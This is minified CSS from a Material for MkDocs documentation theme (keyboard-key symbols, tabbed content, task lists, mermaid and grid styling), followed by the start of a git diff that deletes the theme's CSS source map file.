.key-right-option:before{content:"⌥";padding-right:.4em}.md-typeset .keys .key-left-shift:before,.md-typeset .keys .key-right-shift:before,.md-typeset .keys .key-shift:before{content:"⇧";padding-right:.4em}.md-typeset .keys .key-left-super:before,.md-typeset .keys .key-right-super:before,.md-typeset .keys .key-super:before{content:"❖";padding-right:.4em}.md-typeset .keys .key-left-windows:before,.md-typeset .keys .key-right-windows:before,.md-typeset .keys .key-windows:before{content:"⊞";padding-right:.4em}.md-typeset .keys .key-arrow-down:before{content:"↓";padding-right:.4em}.md-typeset .keys .key-arrow-left:before{content:"←";padding-right:.4em}.md-typeset .keys .key-arrow-right:before{content:"→";padding-right:.4em}.md-typeset .keys .key-arrow-up:before{content:"↑";padding-right:.4em}.md-typeset .keys .key-backspace:before{content:"⌫";padding-right:.4em}.md-typeset .keys .key-backtab:before{content:"⇤";padding-right:.4em}.md-typeset .keys .key-caps-lock:before{content:"⇪";padding-right:.4em}.md-typeset .keys .key-clear:before{content:"⌧";padding-right:.4em}.md-typeset .keys .key-context-menu:before{content:"☰";padding-right:.4em}.md-typeset .keys .key-delete:before{content:"⌦";padding-right:.4em}.md-typeset .keys .key-eject:before{content:"⏏";padding-right:.4em}.md-typeset .keys .key-end:before{content:"⤓";padding-right:.4em}.md-typeset .keys .key-escape:before{content:"⎋";padding-right:.4em}.md-typeset .keys .key-home:before{content:"⤒";padding-right:.4em}.md-typeset .keys .key-insert:before{content:"⎀";padding-right:.4em}.md-typeset .keys .key-page-down:before{content:"⇟";padding-right:.4em}.md-typeset .keys .key-page-up:before{content:"⇞";padding-right:.4em}.md-typeset .keys .key-print-screen:before{content:"⎙";padding-right:.4em}.md-typeset .keys .key-tab:after{content:"⇥";padding-left:.4em}.md-typeset .keys .key-num-enter:after{content:"⌤";padding-left:.4em}.md-typeset .keys .key-enter:after{content:"⏎";padding-left:.4em}:root{--md-tabbed-icon--prev:url('data:image/svg+xml;charset=utf-8,');--md-tabbed-icon--next:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .tabbed-set{border-radius:.1rem;display:flex;flex-flow:column wrap;margin:1em 0;position:relative}.md-typeset .tabbed-set>input{height:0;opacity:0;position:absolute;width:0}.md-typeset .tabbed-set>input:target{--md-scroll-offset:0.625em}.md-typeset .tabbed-set>input.focus-visible~.tabbed-labels:before{background-color:var(--md-accent-fg-color)}.md-typeset .tabbed-labels{-ms-overflow-style:none;box-shadow:0 -.05rem var(--md-default-fg-color--lightest) inset;display:flex;max-width:100%;overflow:auto;scrollbar-width:none}@media print{.md-typeset .tabbed-labels{display:contents}}@media screen{.js .md-typeset .tabbed-labels{position:relative}.js .md-typeset .tabbed-labels:before{background:var(--md-default-fg-color);bottom:0;content:"";display:block;height:2px;left:0;position:absolute;transform:translateX(var(--md-indicator-x));transition:width 225ms,background-color .25s,transform .25s;transition-timing-function:cubic-bezier(.4,0,.2,1);width:var(--md-indicator-width)}}.md-typeset .tabbed-labels::-webkit-scrollbar{display:none}.md-typeset .tabbed-labels>label{border-bottom:.1rem solid #0000;border-radius:.1rem .1rem 0 0;color:var(--md-default-fg-color--light);cursor:pointer;flex-shrink:0;font-size:.64rem;font-weight:700;padding:.78125em 1.25em .625em;scroll-margin-inline-start:1rem;transition:background-color .25s,color .25s;white-space:nowrap;width:auto}@media print{.md-typeset .tabbed-labels>label:first-child{order:1}.md-typeset .tabbed-labels>label:nth-child(2){order:2}.md-typeset .tabbed-labels>label:nth-child(3){order:3}.md-typeset .tabbed-labels>label:nth-child(4){order:4}.md-typeset .tabbed-labels>label:nth-child(5){order:5}.md-typeset .tabbed-labels>label:nth-child(6){order:6}.md-typeset .tabbed-labels>label:nth-child(7){order:7}.md-typeset .tabbed-labels>label:nth-child(8){order:8}.md-typeset .tabbed-labels>label:nth-child(9){order:9}.md-typeset .tabbed-labels>label:nth-child(10){order:10}.md-typeset .tabbed-labels>label:nth-child(11){order:11}.md-typeset .tabbed-labels>label:nth-child(12){order:12}.md-typeset .tabbed-labels>label:nth-child(13){order:13}.md-typeset .tabbed-labels>label:nth-child(14){order:14}.md-typeset .tabbed-labels>label:nth-child(15){order:15}.md-typeset .tabbed-labels>label:nth-child(16){order:16}.md-typeset .tabbed-labels>label:nth-child(17){order:17}.md-typeset .tabbed-labels>label:nth-child(18){order:18}.md-typeset .tabbed-labels>label:nth-child(19){order:19}.md-typeset .tabbed-labels>label:nth-child(20){order:20}}.md-typeset .tabbed-labels>label:hover{color:var(--md-default-fg-color)}.md-typeset .tabbed-labels>label>[href]:first-child{color:inherit}.md-typeset .tabbed-labels--linked>label{padding:0}.md-typeset .tabbed-labels--linked>label>a{display:block;padding:.78125em 1.25em .625em}.md-typeset .tabbed-content{width:100%}@media print{.md-typeset .tabbed-content{display:contents}}.md-typeset .tabbed-block{display:none}@media print{.md-typeset .tabbed-block{display:block}.md-typeset .tabbed-block:first-child{order:1}.md-typeset .tabbed-block:nth-child(2){order:2}.md-typeset .tabbed-block:nth-child(3){order:3}.md-typeset .tabbed-block:nth-child(4){order:4}.md-typeset .tabbed-block:nth-child(5){order:5}.md-typeset .tabbed-block:nth-child(6){order:6}.md-typeset .tabbed-block:nth-child(7){order:7}.md-typeset .tabbed-block:nth-child(8){order:8}.md-typeset .tabbed-block:nth-child(9){order:9}.md-typeset .tabbed-block:nth-child(10){order:10}.md-typeset .tabbed-block:nth-child(11){order:11}.md-typeset .tabbed-block:nth-child(12){order:12}.md-typeset .tabbed-block:nth-child(13){order:13}.md-typeset .tabbed-block:nth-child(14){order:14}.md-typeset .tabbed-block:nth-child(15){order:15}.md-typeset .tabbed-block:nth-child(16){order:16}.md-typeset .tabbed-block:nth-child(17){order:17}.md-typeset .tabbed-block:nth-child(18){order:18}.md-typeset .tabbed-block:nth-child(19){order:19}.md-typeset .tabbed-block:nth-child(20){order:20}}.md-typeset .tabbed-block>.highlight:first-child>pre,.md-typeset .tabbed-block>pre:first-child{margin:0}.md-typeset .tabbed-block>.highlight:first-child>pre>code,.md-typeset .tabbed-block>pre:first-child>code{border-top-left-radius:0;border-top-right-radius:0}.md-typeset .tabbed-block>.highlight:first-child>.filename{border-top-left-radius:0;border-top-right-radius:0;margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable{margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.filename span.filename,.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.linenos{border-top-left-radius:0;border-top-right-radius:0;margin:0}.md-typeset .tabbed-block>.highlight:first-child>.highlighttable>tbody>tr>.code>div>pre>code{border-top-left-radius:0;border-top-right-radius:0}.md-typeset .tabbed-block>.highlight:first-child+.result{margin-top:-.125em}.md-typeset .tabbed-block>.tabbed-set{margin:0}.md-typeset .tabbed-button{align-self:center;border-radius:100%;color:var(--md-default-fg-color--light);cursor:pointer;display:block;height:.9rem;margin-top:.1rem;pointer-events:auto;transition:background-color .25s;width:.9rem}.md-typeset .tabbed-button:hover{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-typeset .tabbed-button:after{background-color:currentcolor;content:"";display:block;height:100%;-webkit-mask-image:var(--md-tabbed-icon--prev);mask-image:var(--md-tabbed-icon--prev);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color .25s,transform .25s;width:100%}.md-typeset .tabbed-control{background:linear-gradient(to right,var(--md-default-bg-color) 60%,#0000);display:flex;height:1.9rem;justify-content:start;pointer-events:none;position:absolute;transition:opacity 125ms;width:1.2rem}[dir=rtl] .md-typeset .tabbed-control{transform:rotate(180deg)}.md-typeset .tabbed-control[hidden]{opacity:0}.md-typeset .tabbed-control--next{background:linear-gradient(to left,var(--md-default-bg-color) 60%,#0000);justify-content:end;right:0}.md-typeset .tabbed-control--next .tabbed-button:after{-webkit-mask-image:var(--md-tabbed-icon--next);mask-image:var(--md-tabbed-icon--next)}@media screen and (max-width:44.984375em){[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels{padding-left:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels{padding-right:.8rem}.md-content__inner>.tabbed-set .tabbed-labels{margin:0 -.8rem;max-width:100vw;scroll-padding-inline-start:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels:after{padding-right:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels:after{padding-left:.8rem}.md-content__inner>.tabbed-set .tabbed-labels:after{content:""}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{padding-left:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{padding-right:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{margin-left:-.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{margin-right:-.8rem}.md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--prev{width:2rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{padding-right:.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{padding-left:.8rem}[dir=ltr] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{margin-right:-.8rem}[dir=rtl] .md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{margin-left:-.8rem}.md-content__inner>.tabbed-set .tabbed-labels~.tabbed-control--next{width:2rem}}@media screen{.md-typeset .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9){color:var(--md-default-fg-color)}.md-typeset .no-js .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.md-typeset .no-js .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.md-typeset .no-js .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.md-typeset .no-js .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.md-typeset .no-js .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.md-typeset .no-js .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.md-typeset .no-js .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.md-typeset .no-js .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.md-typeset .no-js .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.md-typeset .no-js .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.md-typeset .no-js .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.md-typeset .no-js .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.md-typeset .no-js .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.md-typeset .no-js .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.md-typeset .no-js .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.md-typeset .no-js .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.md-typeset .no-js .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.md-typeset .no-js .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.md-typeset .no-js .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.md-typeset .no-js .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9),.no-js .md-typeset .tabbed-set>input:first-child:checked~.tabbed-labels>:first-child,.no-js .md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-labels>:nth-child(10),.no-js .md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-labels>:nth-child(11),.no-js .md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-labels>:nth-child(12),.no-js .md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-labels>:nth-child(13),.no-js .md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-labels>:nth-child(14),.no-js .md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-labels>:nth-child(15),.no-js .md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-labels>:nth-child(16),.no-js .md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-labels>:nth-child(17),.no-js .md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-labels>:nth-child(18),.no-js .md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-labels>:nth-child(19),.no-js .md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-labels>:nth-child(2),.no-js .md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-labels>:nth-child(20),.no-js .md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-labels>:nth-child(3),.no-js .md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-labels>:nth-child(4),.no-js .md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-labels>:nth-child(5),.no-js .md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-labels>:nth-child(6),.no-js .md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-labels>:nth-child(7),.no-js .md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-labels>:nth-child(8),.no-js .md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-labels>:nth-child(9){border-color:var(--md-default-fg-color)}}.md-typeset .tabbed-set>input:first-child.focus-visible~.tabbed-labels>:first-child,.md-typeset .tabbed-set>input:nth-child(10).focus-visible~.tabbed-labels>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11).focus-visible~.tabbed-labels>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12).focus-visible~.tabbed-labels>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13).focus-visible~.tabbed-labels>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14).focus-visible~.tabbed-labels>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15).focus-visible~.tabbed-labels>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16).focus-visible~.tabbed-labels>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17).focus-visible~.tabbed-labels>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18).focus-visible~.tabbed-labels>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19).focus-visible~.tabbed-labels>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2).focus-visible~.tabbed-labels>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20).focus-visible~.tabbed-labels>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3).focus-visible~.tabbed-labels>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4).focus-visible~.tabbed-labels>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5).focus-visible~.tabbed-labels>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6).focus-visible~.tabbed-labels>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7).focus-visible~.tabbed-labels>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8).focus-visible~.tabbed-labels>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9).focus-visible~.tabbed-labels>:nth-child(9){color:var(--md-accent-fg-color)}.md-typeset .tabbed-set>input:first-child:checked~.tabbed-content>:first-child,.md-typeset .tabbed-set>input:nth-child(10):checked~.tabbed-content>:nth-child(10),.md-typeset .tabbed-set>input:nth-child(11):checked~.tabbed-content>:nth-child(11),.md-typeset .tabbed-set>input:nth-child(12):checked~.tabbed-content>:nth-child(12),.md-typeset .tabbed-set>input:nth-child(13):checked~.tabbed-content>:nth-child(13),.md-typeset .tabbed-set>input:nth-child(14):checked~.tabbed-content>:nth-child(14),.md-typeset .tabbed-set>input:nth-child(15):checked~.tabbed-content>:nth-child(15),.md-typeset .tabbed-set>input:nth-child(16):checked~.tabbed-content>:nth-child(16),.md-typeset .tabbed-set>input:nth-child(17):checked~.tabbed-content>:nth-child(17),.md-typeset .tabbed-set>input:nth-child(18):checked~.tabbed-content>:nth-child(18),.md-typeset .tabbed-set>input:nth-child(19):checked~.tabbed-content>:nth-child(19),.md-typeset .tabbed-set>input:nth-child(2):checked~.tabbed-content>:nth-child(2),.md-typeset .tabbed-set>input:nth-child(20):checked~.tabbed-content>:nth-child(20),.md-typeset .tabbed-set>input:nth-child(3):checked~.tabbed-content>:nth-child(3),.md-typeset .tabbed-set>input:nth-child(4):checked~.tabbed-content>:nth-child(4),.md-typeset .tabbed-set>input:nth-child(5):checked~.tabbed-content>:nth-child(5),.md-typeset .tabbed-set>input:nth-child(6):checked~.tabbed-content>:nth-child(6),.md-typeset .tabbed-set>input:nth-child(7):checked~.tabbed-content>:nth-child(7),.md-typeset .tabbed-set>input:nth-child(8):checked~.tabbed-content>:nth-child(8),.md-typeset .tabbed-set>input:nth-child(9):checked~.tabbed-content>:nth-child(9){display:block}:root{--md-tasklist-icon:url('data:image/svg+xml;charset=utf-8,');--md-tasklist-icon--checked:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .task-list-item{list-style-type:none;position:relative}[dir=ltr] .md-typeset .task-list-item [type=checkbox]{left:-2em}[dir=rtl] .md-typeset .task-list-item [type=checkbox]{right:-2em}.md-typeset .task-list-item [type=checkbox]{position:absolute;top:.45em}.md-typeset .task-list-control [type=checkbox]{opacity:0;z-index:-1}[dir=ltr] .md-typeset .task-list-indicator:before{left:-1.5em}[dir=rtl] .md-typeset .task-list-indicator:before{right:-1.5em}.md-typeset .task-list-indicator:before{background-color:var(--md-default-fg-color--lightest);content:"";height:1.25em;-webkit-mask-image:var(--md-tasklist-icon);mask-image:var(--md-tasklist-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.15em;width:1.25em}.md-typeset [type=checkbox]:checked+.task-list-indicator:before{background-color:#00e676;-webkit-mask-image:var(--md-tasklist-icon--checked);mask-image:var(--md-tasklist-icon--checked)}:root>*{--md-mermaid-font-family:var(--md-text-font-family),sans-serif;--md-mermaid-edge-color:var(--md-code-fg-color);--md-mermaid-node-bg-color:var(--md-accent-fg-color--transparent);--md-mermaid-node-fg-color:var(--md-accent-fg-color);--md-mermaid-label-bg-color:var(--md-default-bg-color);--md-mermaid-label-fg-color:var(--md-code-fg-color);--md-mermaid-sequence-actor-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-actor-fg-color:var(--md-mermaid-label-fg-color);--md-mermaid-sequence-actor-border-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-actor-line-color:var(--md-default-fg-color--lighter);--md-mermaid-sequence-actorman-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-actorman-line-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-box-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-box-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-label-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-label-fg-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-loop-bg-color:var(--md-mermaid-node-bg-color);--md-mermaid-sequence-loop-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-loop-border-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-message-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-message-line-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-note-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-note-fg-color:var(--md-mermaid-edge-color);--md-mermaid-sequence-note-border-color:var(--md-mermaid-label-fg-color);--md-mermaid-sequence-number-bg-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-number-fg-color:var(--md-accent-bg-color)}.mermaid{line-height:normal;margin:1em 0}.md-typeset .grid{grid-gap:.4rem;display:grid;grid-template-columns:repeat(auto-fit,minmax(min(100%,16rem),1fr));margin:1em 0}.md-typeset .grid.cards>ol,.md-typeset .grid.cards>ul{display:contents}.md-typeset .grid.cards>ol>li,.md-typeset .grid.cards>ul>li,.md-typeset .grid>.card{border:.05rem solid var(--md-default-fg-color--lightest);border-radius:.1rem;display:block;margin:0;padding:.8rem;transition:border .25s,box-shadow .25s}.md-typeset .grid.cards>ol>li:focus-within,.md-typeset .grid.cards>ol>li:hover,.md-typeset .grid.cards>ul>li:focus-within,.md-typeset .grid.cards>ul>li:hover,.md-typeset .grid>.card:focus-within,.md-typeset .grid>.card:hover{border-color:#0000;box-shadow:var(--md-shadow-z2)}.md-typeset .grid.cards>ol>li>hr,.md-typeset .grid.cards>ul>li>hr,.md-typeset .grid>.card>hr{margin-bottom:1em;margin-top:1em}.md-typeset .grid.cards>ol>li>:first-child,.md-typeset .grid.cards>ul>li>:first-child,.md-typeset .grid>.card>:first-child{margin-top:0}.md-typeset .grid.cards>ol>li>:last-child,.md-typeset .grid.cards>ul>li>:last-child,.md-typeset .grid>.card>:last-child{margin-bottom:0}.md-typeset .grid>*,.md-typeset .grid>.admonition,.md-typeset .grid>.highlight>*,.md-typeset .grid>.highlighttable,.md-typeset .grid>.md-typeset details,.md-typeset .grid>details,.md-typeset .grid>pre{margin-bottom:0;margin-top:0}.md-typeset .grid>.highlight>pre:only-child,.md-typeset .grid>.highlight>pre>code,.md-typeset .grid>.highlighttable,.md-typeset .grid>.highlighttable>tbody,.md-typeset .grid>.highlighttable>tbody>tr,.md-typeset .grid>.highlighttable>tbody>tr>.code,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight>pre,.md-typeset .grid>.highlighttable>tbody>tr>.code>.highlight>pre>code{height:100%}.md-typeset .grid>.tabbed-set{margin-bottom:0;margin-top:0}@media screen and (min-width:45em){[dir=ltr] .md-typeset .inline{float:left}[dir=rtl] .md-typeset .inline{float:right}[dir=ltr] .md-typeset .inline{margin-right:.8rem}[dir=rtl] .md-typeset .inline{margin-left:.8rem}.md-typeset .inline{margin-bottom:.8rem;margin-top:0;width:11.7rem}[dir=ltr] .md-typeset .inline.end{float:right}[dir=rtl] .md-typeset .inline.end{float:left}[dir=ltr] .md-typeset .inline.end{margin-left:.8rem;margin-right:0}[dir=rtl] .md-typeset .inline.end{margin-left:0;margin-right:.8rem}} \ No newline at end of file diff --git a/assets/stylesheets/main.76a95c52.min.css.map b/assets/stylesheets/main.76a95c52.min.css.map deleted file mode 100644 index ee35967f..00000000 --- a/assets/stylesheets/main.76a95c52.min.css.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"sources":["src/templates/assets/stylesheets/main/components/_meta.scss","../../../../src/templates/assets/stylesheets/main.scss","src/templates/assets/stylesheets/main/_resets.scss","src/templates/assets/stylesheets/main/_colors.scss","src/templates/assets/stylesheets/main/_icons.scss","src/templates/assets/stylesheets/main/_typeset.scss","src/templates/assets/stylesheets/utilities/_break.scss","src/templates/assets/stylesheets/main/components/_author.scss","src/templates/assets/stylesheets/main/components/_banner.scss","src/templates/assets/stylesheets/main/components/_base.scss","src/templates/assets/stylesheets/main/components/_clipboard.scss","src/templates/assets/stylesheets/main/components/_code.scss","src/templates/assets/stylesheets/main/components/_consent.scss","src/templates/assets/stylesheets/main/components/_content.scss","src/templates/assets/stylesheets/main/components/_dialog.scss","src/templates/assets/stylesheets/main/components/_feedback.scss","src/templates/assets/stylesheets/main/components/_footer.scss","src/templates/assets/stylesheets/main/components/_form.scss","src/templates/assets/stylesheets/main/components/_header.scss","node_modules/material-design-color/material-color.scss","src/templates/assets/stylesheets/main/components/_nav.scss","src/templates/assets/stylesheets/main/components/_pagination.scss","src/templates/assets/stylesheets/main/components/_post.scss","src/templates/assets/stylesheets/main/components/_progress.scss","src/templates/assets/stylesheets/main/components/_search.scss","src/templates/assets/stylesheets/main/components/_select.scss","src/templates/assets/stylesheets/main/components/_sidebar.scss","src/templates/assets/stylesheets/main/components/_source.scss","src/templates/assets/stylesheets/main/components/_status.scss","src/templates/assets/stylesheets/main/components/_tabs.scss","src/templates/assets/stylesheets/main/components/_tag.scss","src/templates/assets/stylesheets/main/components/_tooltip.scss","src/templates/assets/stylesheets/main/components/_tooltip2.scss","src/templates/assets/stylesheets/main/components/_top.scss","src/templates/assets/stylesheets/main/components/_version.scss","src/templates/assets/stylesheets/main/extensions/markdown/_admonition.scss","src/templates/assets/stylesheets/main/extensions/markdown/_footnotes.scss","src/templates/assets/stylesheets/main/extensions/markdown/_toc.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_arithmatex.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_critic.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_details.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_emoji.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_highlight.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_keys.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_tabbed.scss","src/templates/assets/stylesheets/main/extensions/pymdownx/_tasklist.scss","src/templates/assets/stylesheets/main/integrations/_mermaid.scss","src/templates/assets/stylesheets/main/modifiers/_grid.scss","src/templates/assets/stylesheets/main/modifiers/_inline.scss"],"names":[],"mappings":"AA0CE,gBCqxCF,CCnyCA,KAEE,6BAAA,CAAA,0BAAA,CAAA,qBAAA,CADA,qBDzBF,CC8BA,iBAGE,kBD3BF,CC8BE,gCANF,iBAOI,yBDzBF,CACF,CC6BA,KACE,QD1BF,CC8BA,qBAIE,uCD3BF,CC+BA,EACE,aAAA,CACA,oBD5BF,CCgCA,GAME,QAAA,CALA,kBAAA,CACA,aAAA,CACA,aAAA,CAEA,gBAAA,CADA,SD3BF,CCiCA,MACE,aD9BF,CCkCA,QAEE,eD/BF,CCmCA,IACE,iBDhCF,CCoCA,MAEE,uBAAA,CADA,gBDhCF,CCqCA,MAEE,eAAA,CACA,kBDlCF,CCsCA,OAKE,gBAAA,CACA,QAAA,CAHA,mBAAA,CACA,iBAAA,CAFA,QAAA,CADA,SD9BF,CCuCA,MACE,QAAA,CACA,YDpCF,CErDA,MAIE,6BAAA,CACA,oCAAA,CACA,mCAAA,CACA,0BAAA,CACA,sCAAA,CAGA,4BAAA,CACA,2CAAA,CACA,yBAAA,CACA,qCFmDF,CE7CA,+BAIE,kBF6CF,CE1CE,oHAEE,YF4CJ,CEnCA,qCAIE,eAAA,CAGA,+BAAA,CACA,sCAAA,CACA,wCAAA,CACA,yCAAA,CACA,0BAAA,CACA,sCAAA,CACA,wCAAA,CACA,yCAAA,CAGA,0BAAA,CACA,0BAAA,CAGA,0BAAA,CACA,mCAAA,CAGA,iCAAA,CACA,kCAAA,CACA,mCAAA,CACA,mCAAA,CACA,kCAAA,CACA,iCAAA,CACA,+CAAA,CACA,6DAAA,CACA,gEAAA,CACA,4DAAA,CACA,4DAAA,CACA,6DAAA,CAGA,6CAAA,CAGA,+CAAA,CAGA,gCAAA,CACA,gCAAA,CAGA,8BAAA,CACA,kCAAA,CACA,qCAAA,CAGA,iCAAA,CAGA,kCAAA,CACA,gDAAA,CAGA,mDAAA,CACA,mDAAA,CAGA,+BAAA,CACA,0BAAA,CAGA,yBAAA,CACA,qCAAA,CACA,uCAAA,CACA,8BAAA,CACA,oCAAA,CAGA,8DAAA,CAKA,8DAAA,CAKA,0DFKF,CG9HE,aAIE,iBAAA,CAHA,aAAA,CAEA,aAAA,CADA,YHmIJ,CIxIA,KACE,kCAAA,CACA,iCAAA,CAGA,uGAAA,CAKA,mFJyIF,CInIA,iBAIE,mCAAA,CACA,6BAAA,CAFA,sCJwIF,CIlIA,aAIE,4BAAA,CADA,sCJsIF,CI7HA,MACE,0NAAA,CACA,mNAAA,CACA,oNJgIF,CIzHA,YAGE,gCAAA,CAAA,kBAAA,CAFA,eAAA,CACA,eJ6HF,CIxHE,aAPF,YAQI,gBJ2HF,CACF,CIxHE,uGAME,iBAAA,CAAA,cJ0HJ,CItHE,eAKE,uCAAA,CAHA,aAAA,CAEA,eAAA,CAHA,iBJ6HJ,CIpHE,8BAPE,eAAA,CAGA,qBJ+HJ,CI3HE,eAEE,kBAAA,CAEA,eA